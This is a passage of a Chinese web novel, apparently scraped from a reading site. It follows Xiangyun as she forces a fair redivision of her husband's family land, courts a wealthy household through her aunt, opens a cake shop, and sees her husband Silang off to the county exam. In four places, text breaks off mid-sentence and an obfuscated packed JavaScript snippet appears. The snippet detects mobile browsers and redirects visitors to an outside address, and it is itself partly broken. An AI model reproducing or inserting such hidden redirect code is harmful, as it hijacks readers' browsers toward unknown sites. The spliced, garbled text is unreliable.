此言一出，姜二嫂和姜三嫂都露出了心满意足的笑容。 这时候，湘云又道：“各位长辈，我还有话说。” “四郎媳妇，你说。”三姑父道。 湘云缓缓道：“我想请问各位长辈，我家四郎，是不是婆婆亲生？” “自是亲生，四郎媳妇，你为何有此一问？”大舅立刻道。 湘云道：“四个儿子都是亲生，可是，当日分家，三个哥哥各得十五亩田地，为何我家四郎只又五亩？” 此言一出，各位长辈都没词了。 当日分家，是族长主持，姜大郎夫妇早已贿赂了族长，姜二郎和姜三郎夫妇自然不会拒绝到手的好处，四郎书呆子，又不去争夺，所以才导致这个局面。 现在四郎媳妇当众质问此事，却也叫人没办法回答。 湘云对着四位长辈盈盈下拜：“求四位长辈给我们做主，将地亩重分。” 这下，姜二嫂和姜三嫂都有惊讶，可是，却也不好说什么，毕竟本来是同一阵线的。 姜大嫂更不干了：“四弟妹，家，早就分过了！你一个新媳妇，还闹腾什么？” 湘云不答，只转脸去问四郎：“相公，你跟四位长辈说，咱们成亲的时候，你是从哪里借的银子？” 四郎低声道：“我是从王先生那里借 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15203820|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的十五两银子！” 此言一出，长辈们都有些诧异。 湘云又道：“诸位长辈，我们夫妇将来也要与三位兄嫂一样，在母亲床头尽孝，为何在家产上，要如此吃亏？” 大舅沉吟了一会，方道：“那些田地，分得确实不公平，要不，从今儿起，就重分了吧，五十亩地，兄弟四人，每家十二亩半！老兄弟们，你们意下如何？” 大姑父和三姑父听了，连连点头，三人一起将目光转向大伯。 大伯看了姜大郎夫妇一眼，有些为难地说：“既然你们都决定了，就按照你们的意思办吧。” 姜大嫂冷笑一声：“二弟妹，三弟妹，你们看，四弟如今可娶了个能干媳妇，那接下来，是不是又要婆婆替他们还成亲那十五两银子了？” 湘云淡淡地道：“大嫂，我虽然愚钝，可也不至于如此计较，那五十亩田地，是姜家祖产，四郎自然有份。至于公婆当年给你们娶亲花了银子，那我也不会咬着此事不放，那银子，我们自己还了便是。” “四郎媳妇，你却为何要自己还那银子？”大舅饶有兴致地问。 湘云不慌不忙地说，分家之前，三位哥哥都在地里干活，我家四郎却在学堂读书，除了祖产，是四郎要分的之外，其余一切，我与四郎也无资格与三位兄嫂相争。” 此言一出，屋里所有人都露出了惊诧的神色。 姜母感慨道：“四郎媳妇，没想到，你如此贤惠，如此明理。” 大姑父也笑道：“四郎，有如此通情达理的妻子，你这个家，不愁不兴旺发达啊！” 大舅又道：“既然如此，那这个家，就算是分好了。妹子，你去把金元宝起出来，现在就分了吧。” 姜母点了点头，转身去了厨房，拿了一把锄头，就推开院门出去了。 谁也不知道，姜母到底把金元宝收在什么地方了。 但是，谁心里都清楚，姜母这肯定是埋在地下，拿着锄头挖去了。 过了一会，果然见姜母拿着一个小包裹回来了。 姜大嫂姜二嫂姜三嫂的目光，登时都紧紧地盯在了那个小包裹上。 姜母来到桌边，将包裹放在桌子上，然后，不慌不忙地解开了那个小包裹。 只见一阵金光耀眼，包裹里，躺着四个黄灿灿的金元宝。 “我留了一个，自己收着，这四个，你们兄弟四人一人一个，都分了吧！”姜母道。 大舅说：“大郎，你先来拿。” 姜大郎上前，拿了一个。 然后，依次是姜二郎以及三郎和四郎。 眼看金元宝攥在每个人的手里，大舅又道：“大郎二郎三郎，按照方才的约定，你们每家该补给四郎二亩半田地，那地契，明天，都送去给四郎吧！” 兄弟三人大财到手，心里满是喜悦，对于那二亩半田地，也就不是那么心疼了，齐声道：“是，我们明天就办。” 湘云与四郎对望一眼，彼此都露出了会心的笑容。 23. 摆放表姨母 不知不觉，时间又过去了半月有余。 湘云篮子里的野草莓糕，也变成了野樱桃糕。 当然，味道还是一样的松软香甜。 湘云每次去板桥镇卖糕，都要避开逢集人多的时候，她走得就是豪门富户家的路线，不需要赶集的乡民们认可她做的糕点。 在南头的那个小巷，经过许多天的叫卖，巷子里的人，早已熟悉了湘云的声音。 而且，许多王府的仆妇们，也会来光顾湘云的生意了。 她觉得，火候已到，是时候，要去拜访一下自己的表姨母了。 这天，她照旧来南头的巷子里卖糕，看着篮子里还剩下十几块，就对前来买糕的人说：“不卖了，剩下的糕是别人订好的。” 然后，她拎着篮子，来到了王府的大门前，上前，轻轻扣响了门环。 大门吱呀一声开了一条缝，一个门房模样的中年年男子探出头来，上下打量了湘云一眼：“姑娘，你是干什么的？” “我想找一个人，麻烦大叔帮我通报一下。”说完，湘云就把篮子的樱桃糕用筷子夹出了一块，递给了门房：“大叔辛苦，我请您吃糕。” 那中年男子原本有些漠然的脸色，方才变得好看一些。 “那你要找谁？”他又问。 “我想找贵府大奶奶身边伺候茶水的陈嬷嬷，麻烦大叔帮我通传下。” 那门房道：“姑娘，不是我不帮你通传，实在是来我们府里拜访的客人，都是找主子的，你要找陈嬷嬷，可以到她住的地方去找，你不能找到我们府里来。府里是下人们上工的地方，几百号人，要是亲朋都找上门来，主子们岂能容忍？” 湘云听了，连连点头：“那陈嬷嬷不是住在府里么？” 那门房摇了摇头：“我们府里的下人，都住在府后头的小巷子里，你去了小巷，进去左边第四家，门口有个青石板的，就是陈嬷嬷的家了。” “多谢大叔，那陈嬷嬷一般什么时候在家？” “这几天我们大奶奶回娘家了，陈嬷嬷应该是天天在家的，你现在就可去找。” 湘云道了声谢，就拎着篮子，往府邸后面的小巷走去。 到了小巷里，她按照门房说，敲响了那家门口有青石板的小院的门。 院子里响起一个略嫌苍老的女声：“谁啊！” 随之，那扇木板门就被打开了。 门里出现了一个四十多岁，白白胖胖，看起来非常和气的中年妇人。 她好奇地看了湘云一眼，随即脸上浮现出诧异之色：“姑娘，你是？” “表姨母，我娘叫我来探望您一下。”湘云轻声道。 见她这样说，妇人微微一惊：“你——莫非你是翠红的女儿？” 湘云点了点头：“您怎么知道我是我娘的女儿？” “哎呦，就你这长相，跟你娘年轻时一模一样，又叫我表姨母，那我还有个猜不到的？快，孩子，快进来说话。” 她一把将湘云拉了进来。 到了堂屋，湘云打量了一圈，只见房间虽然不甚华丽，可是窗明几净，被这位表姨母收拾得很是干净。 湘云将篮子放在地上，把剩下的十来块野樱桃糕全部夹了出来，放在桌子上的点心碟子里：“表姨母，这是我亲手做的野樱桃糕，孝敬你尝个鲜。” “哎呀，你这孩子，来就来了，还给我带吃的，野樱桃糕，这可真别致啊！对了，我听说最近咱们巷子里有个卖糕的姑娘，那糕是真好吃，莫非就是你？”表姨母眉花眼笑，拉了她的手坐了下来。 湘云点了点头。 “告诉表姨母，你叫什么名字？” “表姨母，我叫湘云。” “嗯，你小时候，我好像见过你，哎，一晃多少年了。湘云啊，你娘最近还好吧？” “我娘一切都好，我近来要搬到这镇上住了，我娘嘱咐，务必要来拜访一下表姨母，代她向表姨母问声好。” 表姨母点了点头：“难得你娘还惦记着我这个苦命的表姐，丫头啊，表姨母一个过活，虽说无牵无挂，可也没什么说话的人，你若得空了，可经常来坐坐。” “放心吧，表姨母，我有空就会来看您。” 表姨母拉着她的手，又絮絮叨叨问了一些她娘，以及她几个舅舅姨妈的近况。 眼看太阳快要落山了，湘云便起身告辞。 表姨母立刻挽留：“吃了饭再走，我家里现成的菜。” 湘云道：“我还没有搬到镇上，以后到了镇上，我再来吧，不然我一个人怕摸黑走路回家。” 表姨母听了，也就不再挽留，湘云拎着空篮子，迈着轻快的脚步往回走。 这次拜访，已经达到了预期的目的。 表姨母已经知道了自己在巷子里打出的名字，再亲口品尝一下自己做的糕，十有八九会打心里认上。 为了伺候好自己的主人，不用自己说，表姨母自然会把自己觉得好吃的糕点，献给王家大少奶奶。 明天，就不去山上采野樱桃了，和四郎一起，赶紧去板桥镇上找房子去。 一夜无话。 第二天清早，夫妻二人就去了板桥镇，开始寻找铺面了。 首先是选址，四郎就说：“娘子，既然是卖糕点，那么，咱们的店铺自然是要选在闹市处，逢集的时候人来人往，糕点自然好卖些。” 湘云摇了摇头：“相公，你错了。逢集的时候人来人往，来的都是种地的村民，他们钱来得不容易，通常连一文钱的肉沫烧饼都舍不得买，更不要说我们这精致的点心了。二来，闹市处，店铺的租金，也要贵上许多。” “那你的意思，要把店开在哪里呢？”四郎问道。 “清流河边，是镇上大户人家聚集的地方，我们就把店开在街尾清流河附近，这样，好做大户人家的生意。” 四郎点了点头：“娘子，做生意的事情，你决定就好。” 夫妻二人来到那条长街的结尾，靠近清流河的方向，就开始一家家店铺的打听起来。 他们先是走进了一家首饰店，问首饰店里的老板：“老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221674|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板，请问，这附近可有谁家的店铺要出租？” 老板看了她们一眼，有些茫然地摇了摇头。 湘云拉着四郎，又问了几家，终于，一家包子店的老板告诉她们：“再走几步，到那家铁匠铺子，他们是河南人，打算回老家了，店铺不租了，你们去问吧。” 两人快步走到了铁匠铺，里面有个身材高大的中年男人，正在打铁。湘云一问，铁匠就笑道：“正好，我回老家有事，不打算做铁匠了，房子是我建的，租给你们，我弟弟在这里，你们年年把租金给他就可以了。” 湘云一听，不由得喜出望外，忙道：“那您这店，什么时候能腾出来？” “你要是急的话，明天我就可以腾出来，租金吗，也不去跟闹市处比，一年就四十两吧。” 湘云一听，心里就是一喜，不过，她表面上却不露出，只淡淡道：“四十两有点贵了，能不能再让一点，这地段实在是有点偏，我都不知道会不会有生意。” 铁匠坚持道：“姑娘，别小看这地段，逢集的时候，四里八乡的人都涌过来，人也是很多的。” 湘云摇了摇头：“太贵了，要不，我再去跑跑。” 说完，她拉着四郎就要走。 “等等，姑娘，要不，我就再让五两，你给三十五两吧。”铁匠一脸的痛心疾首。 湘云这才笑吟吟地收回了脚步：“那好吧，一言为定，你今晚就把铺子腾干净了，我们明早就过来定契约，画押，我给您租金。” 铁匠点了点头，又倒了茶让两人喝，湘云谢过，然后告辞回家。 路上，四郎道：“娘子，既然开了店，那可就要有一个人天天守店了。” 湘云道：“我们可以请一个人，此人最好身强力壮吃苦耐劳，然后，帮我在店里打杂，我负责调制馅料，至于野樱桃，就让你二嫂三嫂上山去摘，我们把给她们钱，定好了多少钱一斤，让她们日日送过来就是。” 四郎笑道：“这个主意倒是不错，两下都便宜，二嫂三嫂准愿意。至于大嫂，她自己也要开店，自然是不会眼红这个的。” 湘云又道：“相公，你说，这个身强力壮的伙计，该去哪里找呢？” 四郎想了想：“你的意思，找个男人，还是年轻的？” 听出他话语里的不满之意，湘云不禁噗嗤一笑：“那找个女的，或者年老的，也不能干活啊！” 四郎哼了一声：“要不，还是我自己来吧。” “别，可别，可不能耽误了你读书，我想，还是让我二哥来吧。”湘云忙道。 “你二哥？”四郎心头掠过陆二郎的影子，随即便道：“不错，你二哥身强力壮能干活，可是，他愿意来吗？” 湘云抿嘴笑道：“我去请呗，自己的亲妹子去请，总会愿意来的吧，反正，家里地少，他也没多重的农活，不如来跟我一起干，可以贴补家里的用度。” 四郎嗯了一声：“如此安排，最好不过，要不，明日租完房子之后，我们就去请你二哥吧。” 湘云点了点头。 24. 新店开业 湘云是个说个就干的人，第二天，盘下那间店面之后，她就先是回娘家，说动了自己的二哥陆二郎，让他同意过来打杂。 然后，她又连夜拜访了姜二嫂和姜三嫂，这妯娌二人一听说有钱可赚，自然是满心高兴，一口答应了下来。 人员搞定之后，湘云就马不停蹄地上板桥镇置办东西。 铁匠留下一个硕大的锅灶，正好用得着，湘云就拿个皮尺，量好了灶台的尺寸，去买了一口大锅，还有六个大蒸笼。 以前在家里做糕点，苦于锅灶太小，只能蒸五十块，现在，她买的这个大蒸笼，一次足可以蒸一百块糕点。 然后，她又去了清流河边上的清流村，找了几家农户，跟他们说妥，每隔三日，都往她店里送一车柴禾。 一切准备停当之后，湘云的姜记糕点铺就正式开业了。 开业那天，陆大郎，姜大郎姜二郎姜三郎每人买了一挂鞭炮，噼里啪里地在店门口放了。 这天上午，姜二嫂和姜三嫂就把摘好并且洗干净的满满两大篮子野樱桃送了过来。 然后，陆二郎就和妹子一起碾果泥，和面，劈柴。 四郎挽起袖子，也要来干。 却被陆二郎一把推了回去：“你去看你的书，这些活都不够我干的！” 四郎无奈，只得店面后面的院子里，关上店面通往铺子的后门，安心读起书来。 第一笼野樱桃糕很快就出锅了。 今天恰好是逢集的日子，街道上的行人非常多。 人们好奇地看着这新开的姜记糕点铺，有些人甚至还在店门前围观，可是，真正掏钱买的人，却少之又少。 陆二郎见状，不由得有些心焦，他冲众人笑道：“热呼呼的糕点，两文钱一个，要不要买一块尝尝？” 众人一听是两文钱一个，都纷纷道：“太贵了！一个肉饼才一文钱呢！” 眼看人群又散去了不少，陆二郎有些急了。 他扭头道：“妹子，要不，咱们也把价格降到一文钱一块？” 湘云坚定地摇了摇头：“不成，我的糕点只能涨价，不能降价！” “可是，这都出锅好久了，还一块都没卖出去呢。”陆二郎急道。 湘云微微一笑：“二哥，别急啊，我这不才忙好吗，我现在就来卖。” 说完，她就拿起一把菜刀，又抄了四五块樱桃糕，放在案板上，切成一小块一小块。 然后，又把这些小块放在早已买好且清洗干净的白瓷大托盘里。 她又搬了一张高几，放在了店铺门口的显眼处。随后，推来院门，她对丈夫道：“四郎，你给我写几个字，写大些。” “你要写什么？” 湘云想了想：“野生樱桃糕，免费品尝！” 四郎点了点头，回到房里，旋即拿了写好的大字幅交到了湘云手上。 湘云回到店铺，正好和面的大铜盆尚未清洗，上面沾了许多面糊。 湘云用手指抹了一些面糊，涂在字纸的背面，将那副字贴到了门板上。 这字幅刚贴上，就立刻有人围了上来：“怎么，这是要白送给我们吃吗？” 湘云点了点头，又想到，认识字的人，毕竟少之又少，随即大声吆喝道：“免费品尝了，新鲜的樱桃糕！” 登时，又有许多人围拢了过来。 湘云拿起筷子，夹了一小块，递给一个中年妇人：“大婶，你尝一尝，不好吃可以不买。” 那妇人伸手接了过来，将糕放进嘴里，然后就道：“真香！给我来两块，我要带回去给我婆婆吃。” 湘云忙从蒸笼里夹了两块糕给她。 然后，又对其余众人说：“盘子里多的是，诸位可以自己拿去品尝。” 见她这样说了，一个年轻男子就上前从盘子里拿起一块，也尝了起来。 然后，他也连说好吃，然后又道：“给我拿四块，我带了回去给弟妹吃。” 众人见状，纷纷上前品尝，不一会，就卖出了三十多块樱桃糕。 陆二郎见状，不由得喜出望外：“妹子，赶紧和面，今天咱们再蒸一笼。” 湘云道：“不用了，今天是第一天，马上就中午了，街上没什么人了，这笼糕点，是注定卖不完的。” “那既然卖不完，为什么还有蒸那么多呢？”陆二郎不解地问。 “我有五十块，是送给固定的客户的，其余十来块，今天应该是能卖掉的。二哥，生意，是要慢慢做的，刚开始，是卖不了多少的，所以，也做不了多少。” “固定主顾？是什么人啊？” 湘云笑道：“慢慢你就知道了。我去后院换件干净衣服，你给我往竹篮里装上五十块糕，再盖上笼布就可以了。” 说完，她就去后院卧房里换干净衣裳， 到了后院，只见四郎拿着一卷书，聚精会神地读着，心里顿感安慰。 眼看就要县试了，她实在不希望四郎分心。 换了衣裳之后，湘云就拎着竹篮，来到了她三姑姐家的大门前。 经过几次的送糕，湘云已经跟胡府的门房混得很熟了。 下一步，她的目标就是能将糕点送给三姑姐本人，有机会跟她交谈，自己的生意才能有更大的发展。 于是，这一次，她特意多带了两块樱桃糕。 来到门胡府门房处，门房是个中年男子，见了她，就笑道：“姑娘，又来给我们太太送糕点了？” 湘云点了点头，顺手将两块用纸包好的樱桃糕拿了出来，递给了门房：“劳烦大叔，帮我传句话给你们家太太，可以吗？” “什么话，你说，我帮你传就是。” 湘云道：“你去问太太，能不能接我几本游侠小说看一看，我最爱看这样的书。” 门房笑道：“我们太太今天没有出门，就在家里呢，我现在就去送糕，顺便帮你传话，你别走，就在这里等着。” 说完，他就将篮子里的糕点放进一个食盒里，拎着去了。 过了一会，只见他笑眯眯地道：“姑娘，我们太太让你现在就去她房里，她有话要问你。” 湘云心里一喜，面上却不露出， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227946|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只道了声谢，就随门房去了府中。 这是湘云第一次来到府里，只见到处都是崭新的房舍，处处雕梁画栋金碧辉煌，可想而知，那位三姑爷胡彪，是挣了不少钱的。 湘云在镇上卖糕的时候，也隐约听说过，这位胡彪，在滁州城和金陵城里都有不少产业，妥妥是个大财主，真不知道，他年纪轻轻，是怎么积累那么多的财富的。 她随着门房到了后院的正房里，只见走廊上一个丫鬟笑道：“我带陆姑娘进来吧，太太都问了两遍了。” 湘云随那丫鬟进了正房，只见三姑姐穿一件月白色洒金线的春装，坐在贵妃榻上，手里还拿着一卷书。 “太太，您今天没有出门会客吗？”湘云上前，不卑不亢地招呼道。 “陆姑娘，你坐，青儿，上茶！”三姑姐笑眯眯地道。 湘云依言坐了下来。 “我听说，你要问我借游侠小说？”三姑姐饶有兴致地道。 湘云点了点头：“我闲来无事，最喜欢看这些。” “那你最喜欢看谁写的游侠小说？”三姑姐又问。 “我最爱的，当属青山客，他的游侠小说里，有很浓的人情味。”最近这段时间，湘云每到晚上，就会看一两个时辰的游侠小说，所以这个时候，就说得很是轻松自如。 三姑姐脸上的笑意更深了：“那你喜欢青山客写的哪一本？” “我最喜欢他的那本《游龙戏凤》”，湘云立刻道。 三姑姐笑道：“我也喜欢那一本，陆姑娘，你叫什么名字？” “我叫湘云，胡太太，你也喜欢看游侠小说吗？” 三姑姐点了点头：“湘云，你的这些糕点，都是你亲手做的吗？” 湘云点了点头。 三姑姐不由得感慨道：“一个妇道人家，辛苦挣钱养家，你真不容易。湘云，要是得了空，你可以来找我聊聊天，我会跟门房嘱咐，你来了，只要我在家，就直接带了来见我就可以。” 湘云微微一笑：“胡太太，虽然我很想天天来，可是我店里还有那么糕点，每天愁着要卖，估计，不会来得那么频繁。” 三姑姐嗯了一声，沉吟道：“要不，我回头去跟我那几个亲朋说一说，让她们也固定每隔几日都去买你几十块糕点，这样，你生意就好些，人也空闲些，如何？” 湘云一听，喜出望外！ 要的就是这个效果啊！ 于是立刻笑道：“若真是如此，那我可就太感谢你了。” 三姑姐微笑道：“不用谢我，主要你的糕点手艺确实好。不过，我只能保证她们买第一次，至于以后会不会买，就看她们自己喜不喜欢吃了。” “这是自然，你这已经是帮了我大忙了。”湘云真心实意地说。 她知道，板桥镇上的大户人家，相互之间都是走动的，有了这位三姑姐的卖力宣传，自己的糕点，以后就不会愁卖不出去了。 因为，自己做的糕点的味道，自己还是很有信心的。 即便有些大户人家是三姑姐交往不到的，那还有表姨母呢！ 25. 业务拓展 第二天，湘云照例蒸了一笼一百块糕，只不过，这次换了毛桃馅的糕，所谓毛桃，就是山里的野桃，通常比人们栽种的桃子要早熟一段时间，做出来的果泥也非常的香甜。 不过，今天不是逢集的日子，街上的行人稀稀拉拉，虽然偶然有人前来品尝，可是，一个上午，只是卖出了十几块糕点。 陆二郎见状，眉头又皱了起来。 湘云微笑道：“二哥，你别急啊，你先守着店，我回厨房做午饭去。放心，这一百块糕点，咱们一定能卖出去。” 说完，她就来到后院。 只见丈夫居然趴在院子里的书桌上睡着了。 是啊，还有两天，就是县试的日子了。四郎日以继夜地读书，整个人都瘦得脱了形。 湘云看着有些心疼，劝他早些睡觉，可是四郎却说：“我一个大男人，还要你日日辛苦做糕点养家糊口，我实在是愧疚不已，就想着赶紧中了乡试，好去考秋闱。” “四郎，你这样下去，要是在考场上累得昏倒了，那可什么都完了，越是临近大考，越是要吃好睡好，不成么？”湘云劝道。 四郎这才肯早点睡，饶是如此，他也还是熬了夜。 湘云叹了口气，也不惊动丈夫，只开了院子的角门，来到街后的小巷子里，买了一篮子肉菜，回家就准备三个人的午饭。 陆二郎干活辛苦，姜四郎读书也辛苦，湘云就特地把饭菜做得丰盛一些。 一个玉米面蒸肉，一个爆炒腰花，一个青菜蛋花汤，外加一大碗八宝鸭子。 三个人一起热热闹闹地吃了午饭，随后陆二郎继续守店，姜四郎继续读书。 湘云则数了六十块樱桃糕，放进竹篮，盖上白布，去了板桥镇北边的巷子里。 南头的巷子，已经有了一批固定的主顾，可是，北头的巷子，她还从来没有叫卖过，要让北头巷子里的人，也熟知她的糕点，这样才能拓展业务。 她依然用试吃的方法，在巷子里花了不到两个时辰的时间，卖光了那一篮子毛桃糕。 然后，她又回到店里，却见他二哥愁眉苦脸地坐在店里。 湘云早就料到，店里今天注定是卖不了几块糕点的，下午比上午的行人还要稀少。 果然，陆二郎开口对妹子说：“湘云，你走后这么久，才卖了三块糕。” 湘云点了点头：“二哥，没关系，剩下这十来块，我带走，送到南头巷子里，给表姨母吃去。” 说着，她就把剩下的糕放进篮子里，去了南头她表姨母的家里。 到了表姨母家，表姨母立刻热情地拉着她的手：“好孩子，我天天盼着你来呢，快进来。” “表姨母，这是我新做的毛桃糕，您再尝尝。” 表姨母惊喜地道：“你上次那个樱桃糕，就够好吃的了，现在又做了毛桃糕？” 湘云点了点头。 表姨母笑道：“上次你跟我说，要自己开铺子了，如今可开了？” “已经开了，就在清流河旁边。” 表姨母点了点头：“我跟你说个好消息。” “什么好消息？” “我在我们府上，就是专管茶水的。上次，你送我的樱桃糕，我给我们太太奶奶们品尝了，她们都说非常好吃。” 湘云屏住了呼吸：“我们太太和大奶奶说，府里的人都爱吃这个糕，叫你每隔两日，就送几十块来。” 湘云笑道：“表姨母，这可真是太感谢您了。” “谢什么呢，你可是我的亲表侄女，湘云啊，你放心，我们家太太奶奶们最是热情好客，客人来了之后，我就上你的糕点，客人若喜欢，我就请我们大奶奶跟她们说，这是清流河边——店铺叫什么名？” “姜记糕点铺”，湘云立刻道，觉得这表姨母不亏大户人家行走惯了的，真是精明绝顶，根本不用自己开口求助，自己就把这么大的忙给帮了。 想到这里，她感激不已：“表姨母，你在家若是寂寞，可以到我店里坐坐，散散心。等我忙过了这阵，接了母亲过来，再来接你，与她一起在家里小住。” 表姨母拍了拍湘云的手背，感叹道：“我与你娘也是好几年不见了，再不聚聚，估计就一辈子也见不着了。” 湘云道：“放心吧表姨母，只要我娘来了，我就来接你去。” 表姨母笑道：“你也可以让你娘来我这里陪我住几日，我是孤家寡人一个，有人给我作伴，我只有高兴的份。” 湘云点了点头，满心高兴地又跟她表姨母拉了些家常，才告辞出来。 这一下，又拓展了一笔业务。 三姑姐家的现在是隔日要五十块糕，王府也是隔日要五十块糕。 逢集人多的时候，可以多卖些，也算一天五十块，不逢集的时候，自己可以拎着篮子叫卖五十块。 如此一算，一天卖掉一百块糕，是不成问题的。 蒸笼里还可以多放几块糕点，算是本钱。一天挣两百文钱，是不成问题的。 一个月下来，除去吃穿用度，落五两银子是至少的了。 给她二哥一两银子做工钱，一个月还有四两。一年租金三十五两。 也就是说，目前的生意，除了养活全家之外，还能存至少十两银子。 这可真是又进了一大步！ 湘云的步伐，越来越轻快了。 路过一家绸缎庄的时候，她想起四郎要去赶考，得做一件新衣裳，她二哥身上那件衣裳也旧了，至于自己，云想衣裳花想容，当然也想美美的穿上一件！ 正好，身上还揣着从胡府结算的一两四钱银子，足够做三件新衣裳的了。 于是，湘云走进了绸缎庄。 她喜欢宝蓝色，四郎的肤色虽说不太白，不过也不黑，穿上宝蓝色的衣裳会显得贵气。 她二哥皮肤白，穿上宝蓝色更好看。 于是，她就扯了两匹宝蓝色的绸子，又给自己挑选了一件浅绿色的纱罗，天气渐渐热了，穿上也凉快。 这三匹布料，她打算自己亲自裁剪做衣裳，她也清楚二哥与丈夫的身量，都不用拿尺子量。 回到家里，却见四郎已经买了一些烧鹅猪头肉之类的菜，摆放在饭桌上了。 湘云就说：“怎么不等我回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231396|164752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做饭呢？” “妹夫说你外出奔波卖糕辛苦，不想你回来再做饭了。”陆二郎道。 湘云抿嘴一笑：“二哥，表姨母给我引荐了固定的大主顾，现在，我们每天的糕都不愁卖了。” “是吗？”陆二郎很是高兴。 四郎听了，却低头不语。 到了晚上，两口子钻进被窝。察觉到了四郎的沉默，湘云伸出光洁的胳膊，搂住了四郎的脖子，低声道：“你怎么了？怎么都不对劲啊？” 四郎摇了摇头：“没什么，我只是读书有些累了。” 湘云摇了摇头：“不对，一定是出了什么事了，你告诉我，你到底怎么了？” 四郎叹了口气：“我今儿，去县里报名，听说了一件事情。” “什么事？” 四郎看了她一眼，吞吞吐吐：“就是，听乌山书社的同窗们说，那姓罗的，回来了。” “罗文？他回来了？”湘云心里一沉。 “是的，他不但回来了，还带回了妻子，听说是要在县城建造府邸。” 湘云又问：“他不是在京里做官么？怎么回县城建造府邸？” “听说是给他父母建造的。”四郎说着，一双眼睛在她脸色搜寻着。 湘云心里一阵茫然。 那些属于前世的记忆，不由自主又浮现了出来。 他这次回来，应该是知道自己已经嫁给姜四郎了吧，他应该庆幸自己嫁人了吧，不然那侍郎家的小姐若是知道自己的存在，他估计要吃不了兜着走。 “湘云，你还想再见他么？”姜四郎沉声问。 湘云摇了摇头：“上辈子的事情了，我已经忘了。” “可是，若他还想见你呢？”四郎紧盯着她问。 湘云语气坚定：“不见！” 四郎没有说话，只低声道：“不早了，睡吧。” 湘云便吹灭了桐油灯。 可是，她却哪里睡得着。 往事一幕一幕，扑面而来。 她回忆起罗文当日是怎样对自己山盟海誓，非她不娶。 临上京时，又是怎样对她依依不舍。 她曾经天真的以为，负心汉的故事，从来只是戏文里的故事。 而罗文既然说了非她不可，那一定是真的！ 只是，她没有想到，那些戏文里的故事，其实来源于真实的世界。 自己，丝毫也不例外。 想到这里，她苦笑了。 别的负心汉，起码，对女子还有个明明白白的交代。 可是，罗文却一句交代也没有，好像两人从来就没有任何关系一样。 要不是自己家人在外头听到了他与侍郎千金成婚的消息，自己还要被他骗得一辈子苦苦等待呢！ 想到这里，湘云只觉得庆幸，好在自己及时止步，选了四郎那么好的夫君。 四郎读书用功，人又聪明，日后，在科举上，未必就比他罗文差。 所以，只要新人足够好，又何必为旧人旧事伤怀？ 想到这里，湘云只觉得一阵困意袭来，她就沉沉地睡去了。 26. 县试 不知不觉，就到了县试的日子。 这天一大早，湘云取出做好的崭新的宝蓝色绸衫，亲手帮四郎穿上。 然后，她又将自己早起买的豆浆和肉沫烧饼端到了床头，叮嘱四郎赶紧吃。 “娘子，你这样弄得，我都觉得自己要是过不了考试，都对不起你了。”四郎笑道。 湘云柔声道：“过不了也没关系，下次再来就好。” “可是，我一个大男人，不能总是靠媳妇养活啊！”四郎叹了口气。 湘云正色道：“这话说得不对，谁说你是靠我养活的。咱们家现在有十二亩半土地，租给人种，已经足够养活我们夫妻二人了。这十二亩半地，可是你姜家的祖产呢。” “可是——”四郎愁眉道：“我们很快就会有孩子，有了孩子，日子又会紧巴巴了。” 湘云道：“四郎，你且莫做此想，考试就是考试，不能在考试前心里有那么多愁思，你就想想，那金元宝卖了一百两银子呢，这一百两交过房租，还过王先生的银子之后，还有五十两。就是有了孩子，也不愁的，考不中的话，你完全可以再来一次的。” 四郎这才轻轻摸了摸湘云娇嫩的脸蛋：“放心吧，我一定可以的。” 说完，他就坐下来吃了早饭，背上了湘云事先给他准备好的包裹，来到清流河边，乘船而去。 回到店里，湘云总有些心神不定。 做什么，都有些呆呆的。 陆二郎知道妹子忧心丈夫，就体贴地道：“妹子，你回去休息会，这些活我一个人能做得。” 湘云点了点头，就回房，躺在床上，望着帐顶开始发呆了。 县试之后，就是府试和院试，这三场考完，怎么也得是夏天了。 顺利的话，就能去考秋闱。 若是中了秋闱，当上了举人，就一年有300但大米的俸禄，家里的日子，就越过越兴旺了。 